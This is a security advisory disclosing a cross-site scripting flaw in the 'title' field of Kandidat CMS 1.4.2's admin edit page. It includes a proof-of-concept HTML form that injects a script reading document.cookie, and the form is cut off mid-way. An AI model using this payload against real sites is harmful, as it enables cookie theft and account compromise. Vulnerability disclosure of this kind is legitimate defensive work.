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XSS vulnerability in Kandidat CMS

Vulnerability ID: HTB22649
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms_1.html
Product: Kandidat CMS
Vendor: Kan-Studio ( http://www.kan-studio.ru/ ) 
Vulnerable Version: 1.4.2 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/edit.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/edit.php?what=PAGE_ID"; method="post" name="main">
<input type="hidden" name="title" value='About"><script>alert(document.cookie)</script>'>
<input type="hidden" name="article" value="page html">
<input type="hidden" name="myinclude" value="">
<input type="hidden" name="description" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="Submit" value="Submit">